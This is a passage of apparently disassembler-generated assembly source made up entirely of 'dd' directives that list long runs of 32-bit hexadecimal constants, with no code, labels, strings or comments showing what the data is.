		dd 0B5B85h, 0E481C261h,	0E31553D5h, 0DEE54604h,	80C0D0CDh
		dd 0F74C14h, 0FB74C9C4h, 7CAC7169h, 73B7D10Fh, 51A140E9h
		dd 1DBAE156h, 1F0AA5E3h, 28CDDE08h, 0A0B27EBAh,	10FC98h
		dd 41501EF1h, 0D95D2D1Ch, 0ADB93Fh, 0BC055C1Fh,	1DFBFC12h
		dd 0C08DA0D4h, 66C8A4AFh, 0DF00E5B8h, 0D6A250C4h, 18B6AEE0h
		dd 599B124Ch, 8100EF18h, 30273839h, 260D9EC9h, 271DA2h
		dd 8CCAF5BFh, 0C700F257h, 2A9D8562h, 0A08175B5h, 14312ACh
		dd 0CD1E304Ah, 3001F080h, 9200EF6Fh, 0C453412Eh, 4C038B27h
		dd 3F28DACAh, 0AE6800A4h, 293972CCh, 7008EA7h, 0BA039188h
		dd 14E297EFh, 0C441F960h, 0C5052Ch, 1DAD571Bh, 0CA1D2AEAh
		dd 0C5001073h, 0B10978B6h, 0ABD600E6h, 768F8A5h, 323B3E85h
		dd 5C63803Ah, 2BC75913h, 90FF0C88h, 8D183FDCh, 6892E360h
		dd 0ECF111h, 5F58FB57h,	281BA3DCh, 21E01212h, 2D0D1C40h
		dd 3FC4D8ACh, 30B9C299h, 0A91A2B02h, 0ECE08958h, 0B00875Dh
		dd 0E5ED8F4Eh, 398D5140h, 6F837506h, 0F7338E03h, 4287F580h
		dd 0E3579700h, 274F9460h, 91F600C8h, 0DC135AACh, 2200F711h
		dd 3FB05828h, 28A18BCCh, 843AA4h, 8D30D392h, 0B8D159FCh
		dd 58F65D00h, 425439A2h, 8FA5036h, 6DC00010h, 2A6C5E1Ah
		dd 7E6B1E2h, 9F83491Fh,	52B73240h, 98617F41h, 0ADA3009Ch
		dd 0CAAA8286h, 0D0008AFEh, 0EC487787h, 36831h, 76F5EF5h
		dd 71218D06h, 0A3B0503h, 0C0B20BCDh, 7151F0C5h,	99140EEDh
		dd 8B607EE1h, 0A45D63C1h, 12025Ch, 2FC4247Ch, 0DD2ECEh
		dd 0DABF1623h, 636D4B29h, 94F06105h, 4420A401h,	1FF66499h
		dd 4755D8F1h, 0A5F858A1h, 9DC500EBh, 0C16A7868h, 8F51C000h
		dd 948A2813h, 47A40A82h, 6CCF715h, 0F06AE3F1h, 22BC6614h
		dd 0FF2A0EE5h, 8618E78Fh, 3DEA9A71h, 18DD4160h,	31CCE606h
		dd 250075BAh, 6FA485CBh, 533A1Ah, 4A894E5Ah, 9430B338h
		dd 0D900A3FAh, 0CB8E4052h, 0E6681FEh, 0B811277Eh, 979F3740h
		dd 5B000214h, 1CCDB50h,	1CB2C3AAh, 40DDBF05h, 1126402Ah
		dd 8500B315h, 9B823639h, 20EE824h, 12815E46h, 86E08D79h
		dd 970CC2DCh, 0F8652737h, 99CC03E2h, 2330BCA4h,	6A87ADBh
		dd 0FA3BC0F6h, 2F619D4Ch, 6B1183C6h, 702201D0h,	0FB4807ABh
		dd 548FE129h, 0D8E40094h, 0C7219510h, 4DF058h, 9E446C99h
		dd 9CACDAh, 0C5B31AA5h,	62AAF3F9h, 0B80028E6h, 6F7764C9h
		dd 0E45A83C0h, 0D40EC0D1h, 0ADF05F0Eh, 7876AE30h, 1E10121Eh
		dd 92BFF82Fh, 71540028h, 83DD6539h, 7006E903h, 0C833E47Ch
		dd 0CE7C098h, 0F7809F87h, 5F7F1031h, 0D4780800h, 91E680Bh
		dd 0A4E6038Ah, 44154861h, 33952A8h, 0DD16EC0Fh,	490A8087h
		dd 60C2A21Dh, 1C05496Ah, 0EDB84528h, 21CBDE04h,	188098BBh
		dd 24AB59F7h, 5000541Eh, 95795A5Eh, 78CEE131h, 5021D1A0h
		dd 0EEA408h, 49FA4661h,	7BC7E292h, 0C5A88901h, 0E528A6D0h
		dd 0AEE7C4h, 277FDB3Ah,	8E64BAC7h, 8563D50Fh, 48B49401h
		dd 0E26000EDh, 91F9C4DCh, 0E1463BFBh, 144D2B00h, 6FE93C84h
		dd 7C6D1528h, 82AAD139h, 0C256710Dh, 0E239C040h, 1936007Ch
		dd 28ADCD49h, 12028E05h, 0FB31384Dh, 48A84C85h,	0F680E0FFh
		dd 3E557F8Dh, 0CC6D2807h, 0FC4A1253h, 1C85C4AAh, 1AD60A80h
		dd 2C6E692h, 0D0243AF4h, 0F8A07567h, 1CAA0251h,	3841500h
		dd 0E449735Dh, 2AA9F095h, 0F306C77h, 0B9ACED7Ch, 0C6406140h
		dd 4E4880E6h, 43D7210h,	4811A888h, 0F5E594A0h, 0B014E43Ah
		dd 18D13060h, 7920286Eh, 0C4F002ACh, 65ADA86Fh,	88E94540h
		dd 0B466E119h, 0E42086B9h, 88304931h, 0CE929E0Ah, 3AC683A0h
		dd 0ADB851D1h, 3B00659Ah, 89C35A80h, 0B8B00314h, 999C0041h
		dd 0F3923351h, 0FF00AAF4h, 91AB43B9h, 301E3BD6h, 910DEA9h
		dd 4CB89F49h, 0EC1FE200h, 60C166F0h, 0BC7900D3h, 0BD43E082h
		dd 0B0F298Eh, 200AA226h, 5E9A9D23h, 0DFAF002Fh,	0ED8AB7A9h
		dd 9EEA11C4h, 0A7B24F00h, 231F4DDBh, 0E7E30018h, 164A587Fh
		dd 100C007h, 0F3960D09h, 1418EBCh, 6BAAAC2Fh, 8738A115h
		dd 0EA80FD89h, 9EB935A0h, 38300B2h, 0B3D9EDB4h,	0E5030F1Bh
		dd 1D1FEC52h, 0E819E37Ah, 1866D7B7h, 10B3D631h,	271875E0h
		dd 7150FDA7h, 7FB83C6Eh, 0FB56A2Ch, 0B60D0B9h, 593427A2h
		dd 0ED0AC900h, 87E4B060h, 793F647h, 2081A62h, 4D099043h
		dd 0BE0044B4h, 13EC8B23h, 66896CFh, 0EE0A5A94h,	0BF00213Fh
		dd 0FBC69B21h, 7C7962Ah, 0D8BD4C2Dh, 3E88200Eh,	772E2ED6h
		dd 62006954h, 5CFA37ECh, 3AFB0023h, 2B0D8348h, 78003F1Fh
		dd 30602D8h, 0E1C67Fh, 0E7338584h, 465D80B1h, 0A60F7906h
		dd 300C2Ah, 594A5622h, 5C06AB6Bh, 0DF725300h, 264B901Eh
		dd 0B2DE0F58h, 0A880C877h, 3766E7D3h, 52062EEEh, 3B1BA669h
		dd 0F62D0069h, 77E1C4E3h, 7C482ABBh, 924100B4h,	714CB95Ch
		dd 0B14D00F6h, 0C4E0233Bh, 9289319h, 0DB0A848Bh, 0B0A26A75h
		dd 5D68Bh, 0AC25962Fh, 4BD9C0B8h, 0ADD8BF65h, 2900C672h
		dd 6CC206E3h, 7E40FA4h
		dd 80EA4550h, 4CEE0276h, 0A543A880h, 0A100ABFEh, 5CD4D861h
		dd 7993BC6Bh, 628C01CAh, 47814272h, 8331B9C2h, 0FB2C1756h
		dd 18CA98F6h, 6C571C2Fh, 8BA9473Bh, 43B16CE5h, 805D902Ah
		dd 0B993D203h, 0F0D1Fh,	60DEBFA8h, 0A0CE33EDh, 83582A39h
		dd 0D7DB6C9Fh, 4EE6E005h, 50590720h, 80BAD570h,	85E3ECA8h
		dd 0BDA0CF02h, 98C80644h, 0EC633D0h, 39B16677h,	0D4361B40h
		dd 2098BE5Bh, 0C70EA600h, 713E40BDh, 0A530C728h, 6E54A1A4h
		dd 0E5196CAh, 0A4AD100Ah, 3A708181h, 18849D10h,	9706596Dh
		dd 89AAC140h, 662981CDh, 6993171Eh, 0C05AD4h, 0F71CB68h
		dd 0EBA277E2h, 1800948h, 0D9CE0C93h, 0B1812BA8h, 57FB4B2Ch
		dd 445C20D0h, 0F0C97912h, 0FCB17840h, 0FC710D1h, 0A20C012h
		dd 18DB45A1h, 7228D822h, 8904250Fh, 80A094E4h, 0CB2C4959h
		dd 0AC2F4801h, 0C2B8D129h, 34907A81h, 0AB71630Bh, 0E9F6A00h
		dd 38A81FD9h, 6F7000Fh,	51E7072Bh, 31C0E436h, 34A2CEA6h
		dd 0F08848D5h, 0E56C04A0h, 85654400h, 76AD10EBh, 536200E7h
		dd 4FC08EDh, 0B2014255h, 3EA32D01h, 905C65AEh, 16BA00D1h
		dd 9F954103h, 0F90F3FDAh, 0A3AC99E5h, 732C587h,	7A5167C8h
		dd 46A07F7Fh, 0A3CA9E4Dh, 0D052D400h, 61F6D8FFh, 273603F2h
		dd 1E4DB9A0h, 0CA5DBEB0h, 0A0CA700h, 69DE28AFh,	7E98000Bh
		dd 331468B6h, 0FB0051F8h, 907A2AB4h, 10EE485h, 5A79E998h
		dd 0CBACA7FDh, 43E270C0h, 6781ED01h, 545B3E57h,	306CF720h
		dd 0BB9E2A5Eh, 0C548F670h, 64EC0098h, 56D6CB4Fh, 7B4B0034h
		dd 0ADFCC0B1h, 0D009C8Ch, 0BDD70898h, 64F020h, 77072863h
		dd 4433AE6h, 49768A00h,	0DF966C42h, 0F2E500CCh,	342FAC7Fh
		dd 0BF60721Fh, 19B6638h, 0BBB330CFh, 986DD510h,	33D41104h
		dd 4BC063D3h, 373EADh, 0FB87C843h, 3A0A587Eh, 89F5030Bh
		dd 6E288162h, 22DCF096h, 2DD0002Ah, 491CE272h, 0C43BFF9Dh
		dd 0C6EB8164h, 9F48EFC3h, 6F7C9C0h, 3D766EDh, 0FB00485Fh
		dd 98C2FE62h, 1C9CFA52h, 0C0D92C9Ah, 99D431B0h,	0E403508Bh
		dd 0E943B294h, 1F5E909Fh, 82BD006Ah, 0E8BE6719h, 593EC7B9h
		dd 6E00F9EAh, 0D82369DFh, 18E60B04h, 0A1BAC617h, 630078D1h
		dd 0C2406636h, 720454Bh, 62EA23EDh, 2DFD5004h, 1D7C4CD3h
		dd 73656C00h, 39BD2A24h, 0EC0D02C7h, 4A3DCF6Dh,	0D0CBC057h
		dd 80230071h, 28A15EE5h, 30C154CDh, 2930E207h, 3EC12081h
		dd 0D51C19E3h, 2C24E0D8h, 0B6D7F300h, 8E151031h, 9B43276Ah
		dd 0BD96B880h, 0C32ED837h, 3000E9A2h, 4F3D26CFh, 7118C0F4h
		dd 4515EB84h, 7B3F99F2h, 0F58D8768h, 0C5B03C0Ch, 56BD82h
		dd 63759FF2h, 0C23E9806h, 2601DDB8h, 78C15416h,	8FCA1E6Bh
		dd 48C39C80h, 19CE22AAh, 3188FA18h, 0D580F030h,	61F977E4h
		dd 0C30BDF0h, 0C9F91AD3h, 0D08C002Fh, 3EAEDBBCh, 0AB038635h
		dd 0B77C54F7h, 9A381827h, 0E12D509Dh, 0C79F210Ah, 0D000906Ah
		dd 145685EDh, 0CC930E18h, 8A0B477Eh, 80D43B08h,	21551C2Bh
		dd 6A00F280h, 0B92835A3h, 9CB08Eh, 0B47F74D7h, 73662781h
		dd 8991C260h, 1276EE53h, 48204Bh, 0B267C557h, 0C709B56h
		dd 0D1F03B00h, 0D69A96B8h, 9DC607A2h, 32A2318h,	7800C2E3h
		dd 11058E71h, 48A8EEh, 0CC7FA408h, 0E30F4102h, 2E4B9600h
		dd 79229CE4h, 8D21013Ah, 507D043h, 4A72D042h, 5AD320C0h
		dd 0DA2F79h, 1395D72Ch,	921F3B53h, 0CC826B00h, 0CA61BABFh
		dd 18DDF278h, 1860BB48h, 0E001D280h, 3BAE6C44h,	7083ACB0h
		dd 7659876Eh, 60007CEBh, 0E188DEC4h, 716FAC4Ch,	8D46362h
		dd 200E87F8h, 0C0882617h, 56E78496h, 3068E4A0h,	6B40E42Dh
		dd 0FD1D0C37h, 178331FEh, 396D3CCFh, 0D01F0170h, 927346B4h
		dd 41E312Ch, 3959B1E1h,	60E40E11h, 75E30151h, 0DDBB4FB4h
		dd 0FB54D0B3h, 3AED20C0h, 3A2A55Fh, 839D7FE7h, 0E1A0D811h
		dd 92037287h, 6DA0EFFEh, 6F7CB825h, 0ECB0A982h,	793D18C6h
		dd 0FC211526h, 9D99B021h, 79F0CA21h, 6B690070h,	3A278324h
		dd 4D54E31Ah, 0D3005CC0h, 60DB430Ch, 1334535h, 5F22B1CBh
		dd 0D4F97861h, 0C16198D0h, 89EE12E8h, 9DB9399Eh, 46B2C1E6h
		dd 0E718753Eh, 0FF16C384h, 0D8332CD1h, 8A1D7FF1h, 4070DCD8h
		dd 5088EF35h, 0F25643Ah, 8091C712h, 8186CD00h, 0D239F5A7h
		dd 85A500C9h, 984060A2h, 0AFA10066h, 0CD53BC46h, 9356DD13h
		dd 0FACA0204h, 0BDCBE0D1h, 0C030A30Ch, 17189F2Bh, 982A6C00h
		dd 0EE61E56Dh, 9E672894h, 0C855082h, 8EC4295h, 952B8F1Eh
		dd 0C62A1859h, 2131430Ch, 0C4659083h, 1D22921Ah, 10CF619h
		dd 0BBB12186h, 42EFF908h, 0F513BF74h, 0BD3F1844h, 0CA45122h
		dd 1805322Ah, 4484BC85h, 0AE147249h, 769CDA21h,	55F37101h
		dd 0A56E22D9h, 3E41A848h, 2B00255Bh, 0A2D817CFh, 0B8A80E20h
		dd 0B6002A46h, 97540B3Dh, 3752CAD1h, 0C338CCECh, 0CED3514Dh
		dd 0D0F4F583h, 0CD69D001h, 98EFBF1Ch, 9CD4F040h, 7D1C6A4h
		dd 2BF51E12h, 0FE363B2h, 1C7320D8h, 130B08C0h, 7C4CD99h
		dd 3B57F91Dh, 4071E1A9h, 0FE4DF985h, 16ED4C98h,	0D4D9CE60h
		dd 0FB4EA4h, 1589923Ah,	98205414h, 0CDED738h, 0C89DD24Dh
		dd 17D1007Ch, 4BD6C6D0h, 66E88291h, 95344200h, 0CA98BC6Eh
		dd 0DD370E20h, 0D39F176Fh, 0FE00FF9Dh, 9284DB45h, 0F989764Ah
		dd 5CF6AAD0h, 7000E460h, 0A1EC3ECCh, 2701060Fh,	0F4E3E507h
		dd 1CD4025Dh, 1F7A705Eh, 40269204h, 968D093Fh, 0C70059A2h
		dd 1591DF41h, 4849E9CFh, 0D000FD7Fh, 68CDA40h, 1D283DE5h
		dd 0E102145Eh, 0EEE69545h, 0E3A9032Ch, 0CFFCC01h, 53FA1AFh
		dd 5312B0D0h, 0F5245C13h, 0C4810E99h, 0B99B85A0h, 8238EAACh
		dd 394D8083h, 621B0FC1h, 3C067A19h, 0FE80DA8Dh,	0C75F466Bh
		dd 0E6309F9Dh, 4DFF8991h, 0B0830020h, 0DE8CDBC0h, 0F57B59E2h
		dd 92403B66h, 0B50B0729h, 202C951Dh, 38A98CD7h,	0F0E1B1DDh
		dd 0B846D655h, 714CAAA7h, 9B07AADh, 5DD7003Ah, 0BF6ED14Fh
		dd 62285693h, 4701B442h, 36753996h, 0F88CC2B4h,	0E410954h
		dd 3FE8B7Ch, 0CCCDCF2Ah, 0DA874700h, 4238CEBh, 0B620EECh
		dd 0C300B0BEh, 9718C2DFh, 0F0D0BF07h, 0B910C794h, 0D10840h
		dd 5DF7CBADh, 398CE527h, 0DFC15F1Dh, 7994F64Ch,	0F8F30041h
		dd 59042B8Dh, 8101BB78h, 736A65ADh, 0B083A29Fh,	644B511h
		dd 8C40E889h, 41658A90h, 0CE0F0386h, 4F4B8F77h,	8ACA310Eh
		dd 61CB6068h, 52D14EE0h, 80BDAC7Fh, 0E4A64298h,	24C1C6C0h
		dd 70940B5Fh, 450F05F7h, 1C840C9h, 8A52834Ch, 624495DAh
		dd 0E4A17BC9h, 24751DB4h, 112D540h, 34701186h, 38AF8932h
		dd 6580FFD8h, 399DB9F3h, 0AD094EB6h, 1D059BA1h,	60DCABE8h
		dd 0F832E093h, 2E773900h, 0F66A5F4Dh, 99884C87h, 0BE3C8447h
		dd 0A462212h, 0A06520h,	87671830h, 0A201B506h, 9A9C0E8Dh
		dd 0E9DC3982h, 486D3D89h, 62321001h, 99D10409h,	3F28A130h
		dd 5C78080h, 0E13D84AAh, 0CCA37A00h, 7DADC3E2h,	50D0A102h
		dd 0EB3ED20Ch, 4C93A89h, 0AFA0C082h, 0AFF1648Ah, 70836B4h
		dd 9F189379h, 8D104EC0h, 0D6C20027h, 4801B938h,	5E8885Ch
		dd 0CBA8A24h, 18D8B357h, 5A1102B4h, 1E0444DCh, 82F5BC78h
		dd 0ADACC460h, 2A26D885h, 0BAC8DBFCh, 0B9450260h, 0CC50F498h
		dd 0A4809E0Ah, 5E7880F6h, 286F82B4h, 8933162h, 308AE5C4h
		dd 0B4D56E90h, 8136741Bh
		dd 612CC221h, 8317A97Ch, 62C27269h, 30CE0886h, 5188DDFAh
		dd 0C4485172h, 7519118Fh, 44317F0Ch, 3679A860h,	0F045E6DFh
		dd 104D0B39h, 2000A2ADh, 0C650F454h, 8940BB48h,	0E73002C2h
		dd 845868FCh, 39663A46h, 5A0FE287h, 38D82CACh, 0C010480Dh
		dd 9C0248AFh, 63F8823Ah, 0B48468F5h, 0DA41C0FEh, 55CBD52h
		dd 0F74CE701h, 80EB5A12h, 880048A8h, 0C0619AACh, 4DA83EB9h
		dd 306FE83h, 0A90150F7h, 2D49C4A0h, 24E41006h, 3A0CB489h
		dd 93BCE9DCh, 45FD8690h, 0F60090F2h, 0A609A539h, 60AC49CCh
		dd 0CE84E065h, 2B133EC0h, 5C419A4Dh, 7737E9C7h,	0CAC28050h
		dd 4318A044h, 0E4831E58h, 0CC3DC01Eh, 1C91540h,	85AFAA13h
		dd 0B4C0341Ch, 7EA6F044h, 41792F21h, 30304AF6h,	5814D0ECh
		dd 386FBEC9h, 3378ADC8h, 0E57731E1h, 91E80C69h,	81104138h
		dd 0E697F0B0h, 1F512012h, 31CD2C20h, 0C1089301h, 41C4BA9h
		dd 22CE4896h, 30364C45h, 0FA377B10h, 0C8783303h, 1DFD6C3Dh
		dd 2BAC8150h, 0D58A4048h, 1640E998h, 189D568Ch,	653D7C7h
		dd 0AC206928h, 0FA14594h, 19150360h, 2B77CD23h,	310CC38h
		dd 259EF5F9h, 98EC5910h, 3BDFDC46h, 31235E18h, 9989EE0Ch
		dd 38DCBCD2h, 27B1A8E9h, 4F22C39h, 0C214E810h, 104FC332h
		dd 8CAF974Ch, 161AD282h, 0F16C2242h, 840588BEh,	1D513590h
		dd 0F13EBC40h, 792DE1D3h, 0ADA12BEEh, 0FA6E6064h, 0A60BC80h
		dd 0EE92AC40h, 0A9C22BA1h, 0BB8F6054h, 0B496B6Ah, 3CA82490h
		dd 3DB31854h, 7DECA90Ah, 22A12307h, 6242E773h, 0CD4BEAAh
		dd 64AD1B23h, 5B7A0C71h, 50A2A10Ch, 0C479B0ECh,	1F576208h
		dd 0B07CA615h, 84E9B3ECh, 281A2C02h, 3EFB02A1h,	0C7DE220Ch
		dd 614CC929h, 5428879h,	47088C24h, 0C5C5802Dh, 7CF48210h
		dd 9011558Ch, 6C01F6C7h, 22A2FDE2h, 20886D0h, 6F50272Bh
		dd 0BAE60823h, 41E9A826h, 0BA53C2A0h, 11A33380h, 160910F5h
		dd 24AF1025h, 0E3B0FC2Bh, 99B15D94h, 88C001Eh, 62A218FEh
		dd 0C42270FBh, 7C4F03E9h, 0D10241E0h, 0E8619B14h, 1B1FD978h
		dd 81AA898h, 184069A2h,	2098F3B6h, 9BC208D0h, 42018489h
		dd 11219BEAh, 283DC338h, 31CC2849h, 2E84462h, 82108C85h
		dd 663A0997h, 0F0DF1829h, 9CA4FE8h, 42099846h, 8208268Bh
		dd 0F1974109h, 0E6E2019Ah, 0ED37118Ch, 0D96DC268h, 15F00851h
		dd 7B28C6DAh, 7F7418E7h, 46072981h, 8237284Fh, 13441880h
		dd 2210704Ch, 8B396466h, 0B5E23528h, 8898659h, 0D8516164h
		dd 0D02589Fh, 1DFF6E37h, 8205AC02h, 2D182D0h, 90FC642h
		dd 0D8AC24F0h, 4A04649Fh, 47C5F3F8h, 0F80ABFCCh, 22088318h
		dd 5B428084h, 571968DEh, 21928E71h, 1104C30h, 7D484208h
		dd 1E497D04h, 106D3054h, 81268C22h, 65C24B3h, 27FFD0A9h
		dd 434C08Ch, 811477D8h,	4B105CECh, 1574E922h, 2815220Ch
		dd 0E3C697A0h, 2B2C1744h, 0C1B8126Bh, 0E5B66781h, 954C0113h
		dd 0A8B0F8B8h, 31E162C8h, 0FF52E0C5h, 1AC88806h, 18503210h
		dd 0DC4BA020h, 0C25081DCh, 55A4245Dh, 3F283892h, 4E3184EFh
		dd 0ED3A40F5h, 40593092h, 0CAE0651Ch, 0C93E541h, 2491D8E0h
		dd 6C00EBA5h, 0CCA0011Bh, 0B0C9FB60h, 0C043EFFh, 61B76939h
		dd 4CF18C41h, 82263B10h, 0AC415093h, 0E8422B03h, 0A2E48230h
		dd 72F01EFEh, 95255A01h, 529C38A0h, 3FD099D4h, 0E680D863h
		dd 0C645F304h, 8C5F055h, 0F8C0DF19h, 1C617BE3h,	545079E4h
		dd 87A2448h, 57D401AFh,	4631F018h, 0E98187E4h, 586737D1h
		dd 0C8BA1001h, 1E62E646h, 1EE98638h, 8FCA2008h,	0B1308084h
		dd 8D66460Fh, 0DC2608C0h, 52C62DE0h, 0E6C220E2h, 788F965Dh
		dd 464165C3h, 0D01D6489h, 5782A06h, 4F8C600h, 0AD5E6645h
		dd 8064A72Eh, 6553AE5Bh, 991B9603h, 8A88B270h, 0DA9808EAh
		dd 1FF75C80h, 9918980Dh, 0C6388F90h, 381E82E8h,	5B6DBE1Bh
		dd 0B03801F6h, 8646EC8Ah, 0AB08BAD8h, 9FE3A013h, 0E51998Bh
		dd 12D04085h, 5C9878DFh, 806B4C18h, 62EDF0E1h, 0EB2070E8h
		dd 0B8EA9886h, 0E0A1E6F1h, 0E345EF71h, 0A62EBBF0h, 12B95C3Ah
		dd 207C1E66h, 30AF1569h, 101B8862h, 8D8B68ACh, 9B66D815h
		dd 68CB31F4h, 4C2065C6h, 609461E6h, 0D3B83806h,	3C4F1FC2h
		dd 0FDC54F83h, 93D14877h, 0C098E02Bh, 0B0E2367Eh, 3EF1B8ABh
		dd 24510123h, 98405902h, 0F6649626h, 409FF290h,	93911C05h
		dd 70C0469Fh, 26705037h, 80E4E940h, 2093FFE6h, 32845EE0h
		dd 0A36184C2h, 0C5B2A648h, 209BA09Dh, 447CDBFEh, 6089A62h
		dd 0D96C235Bh, 0C5F2C6E1h, 0EE2EF045h, 0F064E0E9h, 6311C081h
		dd 388420FDh, 5FA8CC66h, 7C9EF810h, 7880A3E6h, 0E8CE4108h
		dd 50CCF3E0h, 48C50925h, 0E13008F4h, 0BA6DC608h, 8F628CCh
		dd 6FD4046h, 18C6B9FCh,	7430B792h, 0A581CC51h, 9C8B228h
		dd 4D061CD7h, 47922EAFh, 818B34D0h, 135C604h, 60152A6h
		dd 467024B5h, 0ACFB09CAh, 0E149B820h, 163AE014h, 8164002Ch
		dd 0B4A33974h, 921D60BAh, 0F200ED0Eh, 126FE36Bh, 65240CC8h
		dd 52089472h, 4032B940h, 283112D6h, 18D7181Ah, 591108Fh
		dd 0FFA6F283h, 0F927381Fh, 8E9D20Ch, 0FD563E92h, 35AAB207h
		dd 47EBC448h, 92813745h, 12F02ADCh, 85C28368h, 888500Dh
		dd 5208A2D2h, 0FBB208C2h, 2B047206h, 0B3D04518h, 3B1040DEh
		dd 29A01208h, 0D2A940h,	0F0817661h, 444E99F5h, 947FA500h
		dd 189C9323h, 8C80501Ah, 0C6EDB0C3h, 817D5C0h, 5B492465h
		dd 0D7C4202Dh, 0E32E4480h, 61C58503h, 1FCD392h,	60EC2AF8h
		dd 43377E72h, 50111F88h, 22A5C52h, 2CF65380h, 0BF744502h
		dd 3017ED4h, 0D443E5B1h, 9240211Eh, 883A4823h, 0BC9BA3E8h
		dd 38EEBE19h, 120886D4h, 5190F00Bh, 2FD0FCC0h, 70A8CC32h
		dd 35329208h, 0BE751016h, 90C3089Ch, 4380DCD4h,	726FE29Fh
		dd 0F208CFEFh, 21F09C75h, 0B4778D6Ah, 0AF02740Eh, 1E2E81F5h
		dd 9ED0491Bh, 1F43789Fh, 33E935Eh, 116D337Eh, 4ABA1AE0h
		dd 0DDB43C00h, 0C3639017h, 0AC6F3E5Dh, 3954AA00h, 0D5CF02B8h
		dd 9E381306h, 32583AEEh, 29083B68h, 660424B6h, 3A97BD03h
		dd 3030EF06h, 0BD81DE46h, 10A47B89h, 0AD74140Fh, 0F52F0330h
		dd 0A9777CBDh, 0C1304256h, 0F840A77Fh, 6CE34F10h, 201E1110h
		dd 0A28B49F0h, 0F0401220h, 0D584A2C1h, 462A6487h, 0DE010872h
		dd 0FE293111h, 0E3D333CBh, 3E100F1Fh, 0BEC3797Dh, 68197FE5h
		dd 9A07ACDh, 195ED888h,	9CFCE679h, 0C8F886Ch, 7E38121Fh
		dd 0BE05747Eh, 1E2930D7h, 8D4F6D87h, 0B5E0780Eh, 45C38046h
		dd 1FCB18C6h, 76110230h, 5337DE2Eh, 4971DC83h, 4B09081Fh
		dd 2274FE09h, 414DC610h, 1421B318h, 13D3892h, 44D3B818h
		dd 495E8301h, 0B04DDCDFh, 72240B03h, 3E800060h,	1768C254h
		dd 0B6646371h, 38684130h, 57446608h, 0E7430065h, 0B7612C88h
		dd 488138C4h, 8F18F33Ch, 0A3692D1Fh, 312CF0CBh,	4108DDC1h
		dd 859F11C0h, 80EDE1F0h, 7B7CBD61h, 0B4079D90h,	9178A12Dh
		dd 97B701C1h, 9FBC40BDh, 847C3E7Ch, 8183210Ch, 8DD5830h
		dd 0A5FE51C0h, 0E8DCB243h, 0E12941E3h, 3E1DBC1h, 9E630194h
		dd 5A301h, 0C3E47623h, 9D07DA20h, 0C15370C0h, 9E78E4E3h
		dd 562E6500h, 0C5440698h, 8FAF06D4h, 31E5C939h,	0E06D6321h
		dd 0A1A34894h, 0ACC59040h, 0E1F90810h, 258C3F38h, 3BDDA1C7h
		dd 44539B10h, 0A7DFB981h
		dd 5398C9Ch, 4738C142h,	0C09B8108h, 0C6170810h,	0C3343866h
		dd 1C3C70E1h, 0A47E00CDh, 0C938E38Ch, 30CAE045h, 34707CA3h
		dd 0A055FC87h, 1847FD08h, 40D20A9Bh, 0C00DE4C5h, 0B031C3A4h
		dd 1E03240Fh, 0D7A3238Bh, 72253801h, 3383A4C1h,	48906C04h
		dd 2125C618h, 40790571h, 0F0AFFBC1h, 94567699h,	270171BEh
		dd 9023A49Bh, 0E00899AEh, 0FC5FFBB9h, 0F3F6B502h, 98A6D9C2h
		dd 0C3184828h, 0FC08ADD5h, 37CAD07h, 0D7226A70h, 0C1A54131h
		dd 4004FD03h, 9CFC3C7Ch, 11C87183h, 0F943E30Ch,	0DC946DC5h
		dd 7A449482h, 90FF5785h, 83D7F4C1h, 0E5318A32h,	97F884E6h
		dd 6743224Fh, 7CF7C52Bh, 88B8C36Fh, 2561242Fh, 0D206542Ch
		dd 0DD4762D9h, 8302391h, 3FC020C8h, 4920BDD6h, 928C089h
		dd 662303B4h, 5683A5E6h, 0FC868EF7h, 0D348081Fh, 0C130437Ch
		dd 0E515D954h, 5E055189h, 11A67022h, 8101984Fh,	829DE538h
		dd 44BCC24h, 0BF839B1Dh, 204DE11h, 490FBF5Dh, 0D450385h
		dd 0B8A33810h, 89C1E446h, 843ACD6Fh, 1CEBA539h,	0DD703C34h
		dd 0B9EDFD77h, 33C1DF39h, 705BB543h, 0ACE84506h, 0E5203987h
		dd 0B2A32B7Ah, 1B6C6070h, 0C58841DFh, 330C5D5h,	0D9706CB2h
		dd 68FDF808h, 82250C88h, 1E8AC370h, 92B03970h, 18E08629h
		dd 23E338B9h, 398770ADh, 0BE2864A9h, 0A609B303h, 8107BC3h
		dd 83134DE3h, 7CEC7CE5h, 0D371CC18h, 900145B9h,	0E5C32640h
		dd 0D2F0FBD0h, 39C4D157h, 430328A5h, 8241FE6h, 45F85CEEh
		dd 225B1032h, 71851287h, 0BEE77C49h, 0CA850CF4h, 0E539F554h
		dd 541E3A26h, 0F0EC1F15h, 226AF6B1h, 462C87FBh,	5A1944D5h
		dd 0BC41B009h, 0F45F2023h, 83DA0204h, 310D23A0h, 0A3085B41h
		dd 0A068221Dh, 0C239B20Eh, 0CBD30541h, 5F1AFC41h, 2F4F02F8h
		dd 22876984h, 0C0C1CAF2h, 27C5B1Ah, 0F9A07B6Ah,	54503B6h
		dd 0ECA37015h, 0DD2FF0F0h, 0B6E32283h, 3380962h, 4ECBEEBh
		dd 294D8EDCh, 39A44CB6h, 90CC5C44h, 2310E631h, 2F45FECh
		dd 5002B792h, 396926BBh, 16984054h, 15817CADh, 8F74CB45h
		dd 0E111C500h, 1B5774B8h, 0B032C3F0h, 26B6EAAFh, 232B3814h
		dd 0D8E0EC16h, 444E9B6Fh, 38C929BBh, 36815C3h, 0CB762163h
		dd 2866717Ch, 23E97239h, 1BC010E9h, 0A4865A63h,	402C62F0h
		dd 0F0BEE283h, 2CB4BC04h, 53448DFBh, 9960CE1h, 1089CC6Ah
		dd 2C514308h, 24A6F1E0h, 9C96274h, 4938A421h, 9FE9C304h
		dd 3B570210h, 268DC049h, 0A366B19Bh, 52681609h,	6BA09C43h
		dd 0A4440AD0h, 63BA40E5h, 8C405C6Eh, 80010931h,	0B0C31B83h
		dd 31D4D103h, 23109008h, 4B05FD3h, 55BC0491h, 81C0C545h
		dd 5FD4E3D4h, 88E604B0h, 2542B2D3h, 9885FD99h, 3D907CD1h
		dd 0E6673911h, 0E924050Ch, 8C566C8h, 0C449B423h, 418BE15h
		dd 0C21483EEh, 0D2495B8Dh, 23B0A4AFh, 0FC02A09Fh, 894CF1FEh
		dd 0E8634501h, 7CB6D002h, 2B34890Ch, 70A53948h,	23A60C58h
		dd 0A740CA1Bh, 398309C8h, 541168B1h, 2D0890CBh,	20FA231Fh
		dd 76E48954h, 28C3A381h, 0F8E01CC1h, 0F9ECA98Ah, 1DE8C207h
		dd 604624C1h, 2458630Ch, 4FE31248h, 5E12501Eh, 0F8CF5448h
		dd 47E62517h, 0C72D8944h, 7ACFE3C8h, 0AC09B3E4h, 6266A87Ch
